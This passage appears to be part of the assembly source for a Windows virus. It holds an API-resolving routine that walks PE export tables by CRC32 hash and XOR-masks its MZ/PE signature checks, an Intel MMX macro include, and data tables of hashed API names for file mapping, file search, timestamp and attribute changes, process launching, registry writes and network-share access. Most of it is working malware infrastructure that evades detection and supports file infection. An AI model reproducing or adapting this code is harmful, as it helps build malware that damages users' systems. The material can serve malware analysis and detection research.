;ÛÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÛ
;
; Entry: EAX = base of module
; ESI = pointer to API name crc32 array
; EDX = pointer to array to receive API addresses
; ECX = how many apis to import
;
; Return: EAX = 0, CF set if fail

LocateApis proc near ;


pushad ;
mov [ebp+@901], ecx ;
;
push esi ;
push edx ;
mov ebx, eax ; save the module base
mov edi, eax ;
mov ax, word ptr [edi] ;

xor ax, 'NAK ' ;
cmp ax, 'ZM' xor 'NAK' ; is it an exe?
jne novalidmodule ;
;
mov edi, dword ptr [edi.MZ_lfanew] ;
cmp edi, 1000h ;
jae novalidmodule ;
;
add edi, ebx ;
mov ax, word ptr [edi] ;
xor ax, 'ñSYN' ;
cmp ax, 'EP' xor 'ñSYN' ; is it a PE?
jne novalidmodule ;
;
add edi, IMAGE_FILE_HEADER_SIZE ; skip file header
;
mov edi, dword ptr [edi.OH_DataDirectory.DE_Export.DD_VirtualAddress]
add edi, ebx ; and get export RVA
;
mov ecx, dword ptr [edi.ED_NumberOfNames] ; save number of names
; to look into
mov esi, dword ptr [edi.ED_AddressOfNames] ; get address of names
add esi, ebx ; align to base rva
mov [ebp+@903], edi ;
;
pop edx ;
pop edi ;
;
api_locate_loop: ;
push ecx esi ; save counter and addr.
;
push edi ;
mov edi, [esi] ; get one name address
add edi, ebx ; and align it
;
mov esi, edi ;
call StringCRC32 ;
;
pop edi ;
push edi ;
xor ecx, ecx ;
;
rep_cmp: ;
cmp dword ptr [edi], 0 ;
je continue_search ;
cmp [edi], eax ;
je apifound ;
inc ecx ;
add edi, 4 ;
jmp rep_cmp ;
;
continue_search: ;
pop edi esi ecx ; restore them
;
add esi, 4 ; and get next name
loop api_locate_loop ;
;
novalidmodule: ; we didn't find it...
popad ;
xor eax, eax ; mark failure
stc ;
ret ;
;
apifound: ;
mov [ebp+@904], ecx ;
pop edi esi ecx ; ecx = how many did we
push ecx esi ;
push edi ;
mov edi, [ebp+@903] ;
sub ecx, dword ptr [edi.ED_NumberOfNames] ; we need the reminder
neg ecx ; of the search
mov eax, dword ptr [edi.ED_AddressOfOrdinals]; get address of ordinals
add eax, ebx ;
shl ecx, 1 ; and look using the index
add eax, ecx ;
xor ecx, ecx ;
mov cx, word ptr [eax] ; take the ordinal
mov eax, dword ptr [edi.ED_AddressOfFunctions]; take address of funcs.
add eax, ebx ;
shl ecx, 2 ; we look in a dword array
add eax, ecx ; go to the function addr
mov eax, [eax] ; take it's address
add eax, ebx ; and align it to base
mov ecx, [ebp+@904] ;
shl ecx, 2 ;
mov [edx+ecx], eax ;
dec [ebp+@901] ;
cmp [ebp+@901], 0 ;
je all_done ;
jmp continue_search ;
;
all_done: ;
add esp, 0Ch ;
popad ;
clc ;
ret ;
LocateApis endp ;
@901 dd 0 ;
@903 dd 0 ;
@904 dd 0

;ÛßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßÛ
;Û General module handle retriving routine Û
;ÛÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÛ
;
; Entry: EDI = pointer to module name
;
; Return: EAX = module base address if success
; EAX = 0, CF set if fail

LocateModuleBase proc near ;


pushad ; save regs
push edi ; push name
call dword ptr [ebp+_LoadLibraryA] ; call LoadLibraryA
mov [esp.pop_eax], eax ;
popad ;
or eax, eax ;
jz notfoundmodule ;
clc ; success
ret ;
;
notfoundmodule: ;
stc ; fail
ret ;
LocateModuleBase endp ;

;ÛßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßÛ
;Û CRC32 computer for strings Û
;ÛÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÛ

StringCRC32 proc near


; Input : ESI = address of 0 terminated string to calculate CRC32 for
; Output: EAX = CRC32
; From Prizzy's Crypto the idea of a string dedicated CRC32er

push edx ;
mov edx, mCRC32_init ;
;
CRC32_next_byte: ;
lodsb ;
or al, al ;
jz CRC32_finish ;
xor dl, al ;
mov al, 08h ;
;
CRC32_next_bit: ;
shr edx, 01h ;
jnc CRC32_no_change ;
xor edx, mCRC32 ;
;
CRC32_no_change: ;
dec al ;
jnz CRC32_next_bit ;
jmp CRC32_next_byte ;
;
CRC32_finish: ;
xchg eax, edx ;
pop edx ;
ret ;
StringCRC32 endp ;
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[GET_APIS.ASM]ÄÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[MMX.INC]ÄÄÄ
;****************************************************************************
;* *
;* THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF ANY *
;* KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE *
;* IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A PARTICULAR *
;* PURPOSE. *
;* *
;* Copyright (C) 1997 Intel Corporation. All Rights Reserved. *
;* *
;****************************************************************************

MMWORD TEXTEQU <DWORD>


opc_Rdpmc = 033H
opc_Emms = 077H
opc_Movd_ld = 06EH
opc_Movd_st = 07EH
opc_Movq_ld = 06FH
opc_Movq_st = 07FH
opc_Packssdw = 06BH
opc_Packsswb = 063H
opc_Packuswb = 067H
opc_Paddb = 0FCH
opc_Paddd = 0FEH
opc_Paddsb = 0ECH
opc_Paddsw = 0EDH
opc_Paddusb = 0DCH
opc_Paddusw = 0DDH
opc_Paddw = 0FDH
opc_Pand = 0DBH
opc_Pandn = 0DFH
opc_Pcmpeqb = 074H
opc_Pcmpeqd = 076H
opc_Pcmpeqw = 075H
opc_Pcmpgtb = 064H
opc_Pcmpgtd = 066H
opc_Pcmpgtw = 065H
opc_Pmaddwd = 0F5H
opc_Pmulhw = 0E5H
opc_Pmullw = 0D5H
opc_Por = 0EBH
opc_PSHimd = 072H
opc_PSHimq = 073H
opc_PSHimw = 071H
opc_Pslld = 0F2H
opc_Psllq = 0F3H
opc_Psllw = 0F1H
opc_Psrad = 0E2H
opc_Psraw = 0E1H
opc_Psrld = 0D2H
opc_Psrlq = 0D3H
opc_Psrlw = 0D1H
opc_Psubb = 0F8H
opc_Psubd = 0FAH
opc_Psubsb = 0E8H
opc_Psubsw = 0E9H
opc_Psubusb = 0D8H
opc_Psubusw = 0D9H
opc_Psubw = 0F9H
opc_Punpcklbw = 060H
opc_Punpckldq = 062H
opc_Punpcklwd = 061H
opc_Punpckhbw = 068H
opc_Punpckhdq = 06AH
opc_Punpckhwd = 069H
opc_Pxor = 0EFH

.486P

; ALIAS R# to MM# registers


DefineMMxRegs Macro
IFDEF APP_16BIT
MM0 TEXTEQU <AX>
MM1 TEXTEQU <CX>
MM2 TEXTEQU <DX>
MM3 TEXTEQU <BX>
MM4 TEXTEQU <SP>
MM5 TEXTEQU <BP>
MM6 TEXTEQU <SI>
MM7 TEXTEQU <DI>

mm0 TEXTEQU <AX>


mm1 TEXTEQU <CX>
mm2 TEXTEQU <DX>
mm3 TEXTEQU <BX>
mm4 TEXTEQU <SP>
mm5 TEXTEQU <BP>
mm6 TEXTEQU <SI>
mm7 TEXTEQU <DI>

Mm0 TEXTEQU <AX>


Mm1 TEXTEQU <CX>
Mm2 TEXTEQU <DX>
Mm3 TEXTEQU <BX>
Mm4 TEXTEQU <SP>
Mm5 TEXTEQU <BP>
Mm6 TEXTEQU <SI>
Mm7 TEXTEQU <DI>

mM0 TEXTEQU <AX>


mM1 TEXTEQU <CX>
mM2 TEXTEQU <DX>
mM3 TEXTEQU <BX>
mM4 TEXTEQU <SP>
mM5 TEXTEQU <BP>
mM6 TEXTEQU <SI>
mM7 TEXTEQU <DI>

ELSE
MM0 TEXTEQU <EAX>
MM1 TEXTEQU <ECX>
MM2 TEXTEQU <EDX>
MM3 TEXTEQU <EBX>
MM4 TEXTEQU <ESP>
MM5 TEXTEQU <EBP>
MM6 TEXTEQU <ESI>
MM7 TEXTEQU <EDI>

mm0 TEXTEQU <EAX>


mm1 TEXTEQU <ECX>
mm2 TEXTEQU <EDX>
mm3 TEXTEQU <EBX>
mm4 TEXTEQU <ESP>
mm5 TEXTEQU <EBP>
mm6 TEXTEQU <ESI>
mm7 TEXTEQU <EDI>

Mm0 TEXTEQU <EAX>


Mm1 TEXTEQU <ECX>
Mm2 TEXTEQU <EDX>
Mm3 TEXTEQU <EBX>
Mm4 TEXTEQU <ESP>
Mm5 TEXTEQU <EBP>
Mm6 TEXTEQU <ESI>
Mm7 TEXTEQU <EDI>

mM0 TEXTEQU <EAX>


mM1 TEXTEQU <ECX>
mM2 TEXTEQU <EDX>
mM3 TEXTEQU <EBX>
mM4 TEXTEQU <ESP>
mM5 TEXTEQU <EBP>
mM6 TEXTEQU <ESI>
mM7 TEXTEQU <EDI>
ENDIF
EndM

; ALIAS R# to MM# registers


DefineMMxNUM Macro
MM0 TEXTEQU <0>
MM1 TEXTEQU <0>
MM2 TEXTEQU <0>
MM3 TEXTEQU <0>
MM4 TEXTEQU <0>
MM5 TEXTEQU <0>
MM6 TEXTEQU <0>
MM7 TEXTEQU <0>

mm0 TEXTEQU <0>


mm1 TEXTEQU <0>
mm2 TEXTEQU <0>
mm3 TEXTEQU <0>
mm4 TEXTEQU <0>
mm5 TEXTEQU <0>
mm6 TEXTEQU <0>
mm7 TEXTEQU <0>

Mm0 TEXTEQU <0>


Mm1 TEXTEQU <0>
Mm2 TEXTEQU <0>
Mm3 TEXTEQU <0>
Mm4 TEXTEQU <0>
Mm5 TEXTEQU <0>
Mm6 TEXTEQU <0>
Mm7 TEXTEQU <0>

mM0 TEXTEQU <0>


mM1 TEXTEQU <0>
mM2 TEXTEQU <0>
mM3 TEXTEQU <0>
mM4 TEXTEQU <0>
mM5 TEXTEQU <0>
mM6 TEXTEQU <0>
mM7 TEXTEQU <0>
EndM

UnDefineMMxRegs Macro
MM0 TEXTEQU <MM0>
MM1 TEXTEQU <MM1>
MM2 TEXTEQU <MM2>
MM3 TEXTEQU <MM3>
MM4 TEXTEQU <MM4>
MM5 TEXTEQU <MM5>
MM6 TEXTEQU <MM6>
MM7 TEXTEQU <MM7>

mm0 TEXTEQU <mm0>


mm1 TEXTEQU <mm1>
mm2 TEXTEQU <mm2>
mm3 TEXTEQU <mm3>
mm4 TEXTEQU <mm4>
mm5 TEXTEQU <mm5>
mm6 TEXTEQU <mm6>
mm7 TEXTEQU <mm7>

Mm0 TEXTEQU <Mm0>


Mm1 TEXTEQU <Mm1>
Mm2 TEXTEQU <Mm2>
Mm3 TEXTEQU <Mm3>
Mm4 TEXTEQU <Mm4>
Mm5 TEXTEQU <Mm5>
Mm6 TEXTEQU <Mm6>
Mm7 TEXTEQU <Mm7>

mM0 TEXTEQU <mM0>


mM1 TEXTEQU <mM1>
mM2 TEXTEQU <mM2>
mM3 TEXTEQU <mM3>
mM4 TEXTEQU <mM4>
mM5 TEXTEQU <mM5>
mM6 TEXTEQU <mM6>
mM7 TEXTEQU <mM7>
EndM

rdpmc macro
db 0fh, opc_Rdpmc
endm

emms macro
db 0fh, opc_Emms
endm

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
movd1 macro dst:req, src:req ; MMX->EXX
local x, y
DefineMMxNUM
DefineMMxRegs
x:
cmpxchg dst, src
y:
org x+1
byte opc_Movd_st
org y
UnDefineMMxRegs
endm
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
movd2 macro dst:req, src:req ; MEM || EXX || MMX -> MMX
local x, y
DefineMMxNUM
DefineMMxRegs
x:
cmpxchg src, dst
y:
org x+1
byte opc_Movd_ld
org y
UnDefineMMxRegs
endm

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
movd3 macro dst:req, src:req ; MMX -> MEM
local x, y
DefineMMxNUM
DefineMMxRegs
x:
cmpxchg dst, src
y:
org x+1
byte opc_Movd_st
org y
UnDefineMMxRegs
endm
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

movdt macro dst:req, src:req


local x, y
DefineMMxRegs
x:
cmpxchg src, dst
y:
org x+1
byte opc_Movd_ld
org y
UnDefineMMxRegs
endm

movdf macro dst:req, src:req


local x, y
DefineMMxRegs
x:
cmpxchg dst, src
y:
org x+1
byte opc_Movd_st
org y
UnDefineMMxRegs
endm

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
movq1 macro dst:req, src:req
local x, y
DefineMMxRegs
x:
cmpxchg src, dst
y:
org x+1
byte opc_Movq_ld
org y
UnDefineMMxRegs
endm

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
movq2 macro dst:req, src:req
local x, y
DefineMMxRegs
x:
cmpxchg dst, src
y:
org x+1
byte opc_Movq_st
org y
UnDefineMMxRegs
endm

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
packssdw macro dst:req, src:req
local x, y
DefineMMxRegs
x:
cmpxchg src, dst
y:
org x+1
byte opc_Packssdw
org y
UnDefineMMxRegs
endm

packsswb macro dst:req, src:req


local x, y
DefineMMxRegs
x:
cmpxchg src, dst
y:
org x+1
byte opc_Packsswb
org y
UnDefineMMxRegs
endm

packuswb macro dst:req, src:req


local x, y
DefineMMxRegs
x:
cmpxchg src, dst
y:
org x+1
byte opc_Packuswb
org y
UnDefineMMxRegs
endm

paddd macro dst:req, src:req


local x, y
DefineMMxRegs
x:
cmpxchg src, dst
y:
org x+1
byte opc_Paddd
org y
UnDefineMMxRegs
endm

paddsb macro dst:req, src:req


local x, y
DefineMMxRegs
x:
cmpxchg src, dst
y:
org x+1
byte opc_Paddsb
org y
UnDefineMMxRegs
endm

paddsw macro dst:req, src:req


local x, y
DefineMMxRegs
x:
cmpxchg src, dst
y:
org x+1
byte opc_Paddsw
org y
UnDefineMMxRegs
endm

paddusb macro dst:req, src:req


local x, y
DefineMMxRegs
x:
cmpxchg src, dst
y:
org x+1
byte opc_Paddusb
org y
UnDefineMMxRegs
endm

paddusw macro dst:req, src:req


local x, y
DefineMMxRegs
x:
cmpxchg src, dst
y:
org x+1
byte opc_Paddusw
org y
UnDefineMMxRegs
endm

paddb macro dst:req, src:req


local x, y
DefineMMxRegs
x:
cmpxchg src, dst
y:
org x+1
byte opc_Paddb
org y
UnDefineMMxRegs
endm

paddw macro dst:req, src:req


local x, y
DefineMMxRegs
x:
cmpxchg src, dst
y:
org x+1
byte opc_Paddw
org y
UnDefineMMxRegs
endm

pand macro dst:req, src:req


local x, y
DefineMMxRegs
x:
cmpxchg src, dst
y:
org x+1
byte opc_Pand
org y
UnDefineMMxRegs
endm

pandn macro dst:req, src:req


local x, y
DefineMMxRegs
x:
cmpxchg src, dst
y:
org x+1
byte opc_Pandn
org y
UnDefineMMxRegs
endm

pcmpeqb macro dst:req, src:req


local x, y
DefineMMxRegs
x:
cmpxchg src, dst
y:
org x+1
byte opc_Pcmpeqb
org y
UnDefineMMxRegs
endm

pcmpeqd macro dst:req, src:req


local x, y
DefineMMxRegs
x:
cmpxchg src, dst
y:
org x+1
byte opc_Pcmpeqd
org y
UnDefineMMxRegs
endm

pcmpeqw macro dst:req, src:req


local x, y
DefineMMxRegs
x:
cmpxchg src, dst
y:
org x+1
byte opc_Pcmpeqw
org y
UnDefineMMxRegs
endm

pcmpgtb macro dst:req, src:req


local x, y
DefineMMxRegs
x:
cmpxchg src, dst
y:
org x+1
byte opc_Pcmpgtb
org y
UnDefineMMxRegs
endm

pcmpgtd macro dst:req, src:req


local x, y
DefineMMxRegs
x:
cmpxchg src, dst
y:
org x+1
byte opc_Pcmpgtd
org y
UnDefineMMxRegs
endm

pcmpgtw macro dst:req, src:req


local x, y
DefineMMxRegs
x:
cmpxchg src, dst
y:
org x+1
byte opc_Pcmpgtw
org y
UnDefineMMxRegs
endm

pmaddwd macro dst:req, src:req


local x, y
DefineMMxRegs
x:
cmpxchg src, dst
y:
org x+1
byte opc_Pmaddwd
org y
UnDefineMMxRegs
endm

pmulhw macro dst:req, src:req


local x, y
DefineMMxRegs
x:
cmpxchg src, dst
y:
org x+1
byte opc_Pmulhw
org y
UnDefineMMxRegs
endm

pmullw macro dst:req, src:req


local x, y
DefineMMxRegs
x:
cmpxchg src, dst
y:
org x+1
byte opc_Pmullw
org y
UnDefineMMxRegs
endm

por macro dst:req, src:req


local x, y
DefineMMxRegs
x:
cmpxchg src, dst
y:
org x+1
byte opc_Por
org y
UnDefineMMxRegs
endm

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
pslld1 macro dst:req, src:req ;; constant
local x, y
DefineMMxRegs
x:
btr dst, src
y:
org x+1
byte opc_PSHimd
org y
UnDefineMMxRegs
endm
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
pslld2 macro dst:req, src:req
local x, y
DefineMMxRegs
x:
cmpxchg src, dst
y:
org x+1
byte opc_Pslld
org y
UnDefineMMxRegs
endm
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

psllw1 macro dst:req, src:req


local x, y
DefineMMxRegs
x:
btr dst, src
y:
org x+1
byte opc_PSHimw
org y
UnDefineMMxRegs
endm
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

psllw2 macro dst:req, src:req


local x, y
DefineMMxRegs
x:
cmpxchg src, dst
y:
org x+1
byte opc_Psllw
org y
UnDefineMMxRegs
endm

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

psrad1 macro dst:req, src:req ;;immediate


local x, y
DefineMMxRegs
x:
bt dst, src
y:
org x+1
byte opc_PSHimd
org y
UnDefineMMxRegs
endm
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

psrad2 macro dst:req, src:req


local x, y
DefineMMxRegs
x:
cmpxchg src, dst
y:
org x+1
byte opc_Psrad
org y
UnDefineMMxRegs
endm

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

psraw1 macro dst:req, src:req


local x, y
DefineMMxRegs
x:
bt dst, src
y:
org x+1
byte opc_PSHimw
org y
UnDefineMMxRegs
endm

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

psraw2 macro dst:req, src:req


local x, y
DefineMMxRegs
x:
cmpxchg src, dst
y:
org x+1
byte opc_Psraw
org y
UnDefineMMxRegs
endm

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

psrld1 macro dst:req, src:req


local x, y
DefineMMxRegs
x:
cmpxchg dst,MM2
byte src
y:
org x+1
byte opc_PSHimd
org y
UnDefineMMxRegs
endm

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

psrld2 macro dst:req, src:req


local x, y
DefineMMxRegs
x:
cmpxchg src, dst
y:
org x+1
byte opc_Psrld
org y
UnDefineMMxRegs
endm

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
psrlq1 macro dst:req, src:req
local x, y
DefineMMxRegs
x:
cmpxchg dst,MM2
byte src
y:
org x+1
byte opc_PSHimq
org y
UnDefineMMxRegs
endm

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

psrlq2 macro dst:req, src:req


local x, y
DefineMMxRegs
x:
cmpxchg src, dst
y:
org x+1
byte opc_Psrlq
org y
UnDefineMMxRegs
endm

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
psllq1 macro dst:req, src:req
local x, y
DefineMMxRegs
x:
btr dst, src
y:
org x+1
byte opc_PSHimq
org y
UnDefineMMxRegs
endm

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
psllq2 macro dst:req, src:req
local x, y
DefineMMxRegs
x:
cmpxchg src, dst
y:
org x+1
byte opc_Psllq
org y
UnDefineMMxRegs
endm

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

psrlw1 macro dst:req, src:req


local x, y
DefineMMxRegs
x:
cmpxchg dst,MM2
byte src
y:
org x+1
byte opc_PSHimw
org y
UnDefineMMxRegs
endm

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

psrlw2 macro dst:req, src:req


local x, y
DefineMMxRegs
x:
cmpxchg src, dst
y:
org x+1
byte opc_Psrlw
org y
UnDefineMMxRegs
endm

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

psubsb macro dst:req, src:req


local x, y
DefineMMxRegs
x:
cmpxchg src, dst
y:
org x+1
byte opc_Psubsb
org y
UnDefineMMxRegs
endm

psubsw macro dst:req, src:req


local x, y
DefineMMxRegs
x:
cmpxchg src, dst
y:
org x+1
byte opc_Psubsw
org y
UnDefineMMxRegs
endm

psubusb macro dst:req, src:req


local x, y
DefineMMxRegs
x:
cmpxchg src, dst
y:
org x+1
byte opc_Psubusb
org y
UnDefineMMxRegs
endm

psubusw macro dst:req, src:req


local x, y
DefineMMxRegs
x:
cmpxchg src, dst
y:
org x+1
byte opc_Psubusw
org y
UnDefineMMxRegs
endm

psubb macro dst:req, src:req


local x, y
DefineMMxRegs
x:
cmpxchg src, dst
y:
org x+1
byte opc_Psubb
org y
UnDefineMMxRegs
endm

psubw macro dst:req, src:req


local x, y
DefineMMxRegs
x:
cmpxchg src, dst
y:
org x+1
byte opc_Psubw
org y
UnDefineMMxRegs
endm

punpcklbw macro dst:req, src:req


local x, y
DefineMMxRegs
x:
cmpxchg src, dst
y:
org x+1
byte opc_Punpcklbw
org y
UnDefineMMxRegs
endm

punpckhdq macro dst:req, src:req


local x, y
DefineMMxRegs
x:
cmpxchg src, dst
y:
org x+1
byte opc_Punpckhdq
org y
UnDefineMMxRegs
endm

punpcklwd macro dst:req, src:req


local x, y
DefineMMxRegs
x:
cmpxchg src, dst
y:
org x+1
byte opc_Punpcklwd
org y
UnDefineMMxRegs
endm

punpckhbw macro dst:req, src:req


local x, y
DefineMMxRegs
x:
cmpxchg src, dst
y:
org x+1
byte opc_Punpckhbw
org y
UnDefineMMxRegs
endm

punpckldq macro dst:req, src:req


local x, y
DefineMMxRegs
x:
cmpxchg src, dst
y:
org x+1
byte opc_Punpckldq
org y
UnDefineMMxRegs
endm
punpckhwd macro dst:req, src:req
local x, y
DefineMMxRegs
x:
cmpxchg src, dst
y:
org x+1
byte opc_Punpckhwd
org y
UnDefineMMxRegs
endm

pxor macro dst:req, src:req


local x, y
DefineMMxRegs
x:
cmpxchg src, dst
y:
org x+1
byte opc_Pxor
org y
UnDefineMMxRegs
endm

psubd macro dst:req, src:req


local x, y
DefineMMxRegs
x:
cmpxchg src, dst
y:
org x+1
byte opc_Psubd
org y
UnDefineMMxRegs
endm
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[MMX.INC]ÄÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[RAMMDATA.INC]ÄÄÄ
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
module_names label
kernel32_name: noter <KERNEL32.dll>
advapi32_name: noter <ADVAPI32.dll>
user32_name: noter <USER32.dll>
gdi32_name: noter <GDI32.dll>
img32_name: noter <IMAGEHLP.dll>
mpr32_name: noter <MPR.dll>
module_names_length = $-offset module_names

k32 dd 0
a32 dd 0
u32 dd 0
g32 dd 0
m32 dd 0
getmodulehandle: noter <GetModuleHandleA>
getmodulehandlelen = $-offset getmodulehandle
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
kernel32apis label
crc32 <LoadLibraryA>
crc32 <GetProcAddress>
crc32 <ExitProcess>
crc32 <CreateThread>
crc32 <ExitThread>
crc32 <SuspendThread>
crc32 <ResumeThread>
crc32 <SetThreadPriority>
crc32 <WaitForSingleObject>
crc32 <WaitForMultipleObjects>
crc32 <WaitForMultipleObjectsEx>
crc32 <CreateFileA>
crc32 <CreateFileMappingA>
crc32 <MapViewOfFile>
crc32 <UnmapViewOfFile>
crc32 <CloseHandle>
crc32 <GetFileAttributesA>
crc32 <GetFileAttributesExA>
crc32 <SetFileAttributesA>
crc32 <GetFileTime>
crc32 <SetFileTime>
crc32 <SetFilePointer>
crc32 <SetEndOfFile>
crc32 <DeleteFileA>
crc32 <FindFirstFileA>
crc32 <FindNextFileA>
crc32 <FindClose>
crc32 <lstrlen>
crc32 <lstrcpy>
crc32 <lstrcat>
crc32 <GetSystemDirectoryA>
crc32 <GetWindowsDirectoryA>
crc32 <GetCurrentDirectoryA>
crc32 <SetCurrentDirectoryA>
crc32 <GetSystemTime>
crc32 <GetTickCount>
crc32 <IsBadReadPtr>
crc32 <CreateSemaphoreA>
crc32 <ReleaseSemaphore>
crc32 <MoveFileA>
crc32 <MoveFileExA>
crc32 <OpenFile>
crc32 <CreateProcessA>
crc32 <WinExec>
crc32 <CopyFileA>
crc32 <CopyFileExA>
crc32 <GetFullPathNameA>
crc32 <GetCompressedFileSizeA>
crc32 <GetDriveTypeA>
crc32 <GetVersionExA>
crc32 <VirtualAlloc>
crc32 <FatalAppExitA>
crc32 <GetFileSize>
crc32 <IsBadWritePtr>
crc32 <GetModuleHandleA>
crc32 <Sleep>
crc32 <GlobalAlloc>
crc32 <GlobalFree>
crc32 <GetModuleFileNameA>
crc32 <WritePrivateProfileStringA>
dd 0

kernel32addr label
_LoadLibraryA dd 0
_GetProcAddress dd 0
_ExitProcess dd 0
_CreateThread dd 0
_ExitThread dd 0
_SuspendThread dd 0
_ResumeThread dd 0
_SetThreadPriority dd 0
_WaitForSingleObject dd 0
_WaitForMultipleObjects dd 0
_WaitForMultipleObjectsEx dd 0
_CreateFileA dd 0
_CreateFileMappingA dd 0
_MapViewOfFile dd 0
_UnmapViewOfFile dd 0
_CloseHandle dd 0
_GetFileAttributesA dd 0
_GetFileAttributesExA dd 0
_SetFileAttributesA dd 0
_GetFileTime dd 0
_SetFileTime dd 0
_SetFilePointer dd 0
_SetEndOfFile dd 0
_DeleteFileA dd 0
_FindFirstFileA dd 0
_FindNextFileA dd 0
_FindClose dd 0
_lstrlen dd 0
_lstrcpy dd 0
_lstrcat dd 0
_GetSystemDirectoryA dd 0
_GetWindowsDirectoryA dd 0
_GetCurrentDirectoryA dd 0
_SetCurrentDirectoryA dd 0
_GetSystemTime dd 0
_GetTickCount dd 0
_IsBadReadPtr dd 0
_CreateSemaphoreA dd 0
_ReleaseSemaphore dd 0
_MoveFileA dd 0
_MoveFileExA dd 0
_OpenFile dd 0
_CreateProcessA dd 0
_WinExec dd 0
_CopyFileA dd 0
_CopyFileExA dd 0
_GetFullPathNameA dd 0
_GetCompressedFileSizeA dd 0
_GetDriveTypeA dd 0
_GetVersionExA dd 0
_VirtualAlloc dd 0
_FatalAppExitA dd 0
_GetFileSize dd 0
_IsBadWritePtr dd 0
_GetModuleHandleA dd 0
_Sleep dd 0
_GlobalAlloc dd 0
_GlobalFree dd 0
_GetModuleFileNameA dd 0
_WritePrivateProfileStringA dd 0
kernel32func = ($-offset kernel32addr)/4
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
advapi32apis label
crc32 <RegOpenKeyExA>
crc32 <RegQueryValueExA>
crc32 <RegQueryInfoKeyA>
crc32 <RegEnumValueA>
crc32 <RegSetValueExA>
crc32 <RegCreateKeyExA>
crc32 <RegCloseKey>
dd 0

advapi32addr label
_RegOpenKeyExA dd 0
_RegQueryValueExA dd 0
_RegQueryInfoKeyA dd 0
_RegEnumValueA dd 0
_RegSetValueExA dd 0
_RegCreateKeyExA dd 0
_RegCloseKey dd 0

advapi32func = ($-offset advapi32addr)/4


